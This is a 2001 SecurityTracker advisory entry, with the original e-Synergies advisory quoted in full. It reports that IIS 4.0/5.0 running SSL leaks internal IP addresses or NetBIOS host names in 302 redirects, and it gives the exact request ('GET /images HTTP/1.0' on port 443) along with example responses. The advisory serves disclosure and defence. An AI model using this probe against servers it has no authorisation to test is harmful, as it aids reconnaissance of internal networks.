Microsoft Internet Information Server (IIS) Web Server Discloses Internal IP Addresses or NetBIOS Host Names to Remote Users
|
|
SecurityTracker Alert ID: 1002161 |
|
SecurityTracker URL: http://securitytracker.com/id/1002161
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Aug 8 2001
|
Impact:
Disclosure of system information
|
Exploit Included: Yes
|
Version(s): 4.0 with SSL, 5.0 with SSL
|
Description:
A vulnerability was reported by e-Synergies in Microsoft's IIS web server that allows remote users to determine internal IP addresses used by the web server or internal NetBIOS host names used by the web server.
A remote user can connect to the web server using SSL (on TCP port 443) and retrieve internal IP addresses or determine the host's network node hostname.
The following steps can be followed to trigger the vulnerability:
1- Browse the web site using a normal SSL browser and find any directory (i.e., https://[targethost]/images/icon.gif).
2- Using a compatible SSL Perl script, execute the following command once connected to port 443 of [targethost]:
GET /images HTTP/1.0
3- The result returned by the secure web server should look like this:
HTTP/1.1 302 Object Moved
Location: https://192.168.1.10/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
or
HTTP/1.1 302 Object Moved
Location: https://netbiosname/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
It is reported that using HTTP/1.1 in the request instead of HTTP/1.0 will not give the same results.
|
Impact:
A remote user can determine internal IP addresses used by the web server or internal NetBIOS host names used by the web server.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)
|
Cause:
State error
|
Underlying OS:
Windows (NT), Windows (2000)
|
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: 8 Aug 2001 04:54:55 -0000
Subject: Internal IP Address Disclosure in Microsoft-IIS 4.0 & 5.0
|
GGS-AU / e-Synergies Security Advisory
August 8, 2001
Internal IP Address Disclosure in Microsoft-IIS 4.0 &
5.0
Synopsis:
e-Synergies has discovered and researched remote
vulnerability in Internet Information Server from
Microsoft. Successful
exploitation of this vulnerability can reveal critical
internal information such as Internal IP Address or
Internal host name.
Affected Versions:
Microsoft IIS 4.0 running SSL
Microsoft IIS 5.0 running SSL
Description:
By connecting manually to port TCP/443 (SSL) using
Perl(SSLeay) or any other tools, a remote user has
the ability to retrieve
Internal IP address or reveal the machine's network
node hostname.
Exploit:
1- Browse the web site using a normal SSL
browser and find any directory. I.E.:
https://www.target.com/images/icon.gif
2- Using a compatible SSL Perl script, execute the
following command once connected to port 443 of
www.target.com:
GET /images HTTP/1.0
3- The result should look like this:
HTTP/1.1 302 Object Moved
Location: https://192.168.1.10/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
or
HTTP/1.1 302 Object Moved
Location: https://netbiosname/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
Remarks:
Using HTTP/1.1 instead of HTTP/1.0 will not give the
same result.
Credits:
Marek Roy
Senior IT Security Consultant
Please send suggestions, updates, and comments to:
GGS-AU / e-synergies, Sydney, Australia
Level 9
65 York Street
Sydney NSW 2001
Australia
Phone: +61 2 9279 2533
Fax: +61 2 9279 2544
Email: enquiries@ggs-au.com
http://www.ggs-au.com
|
|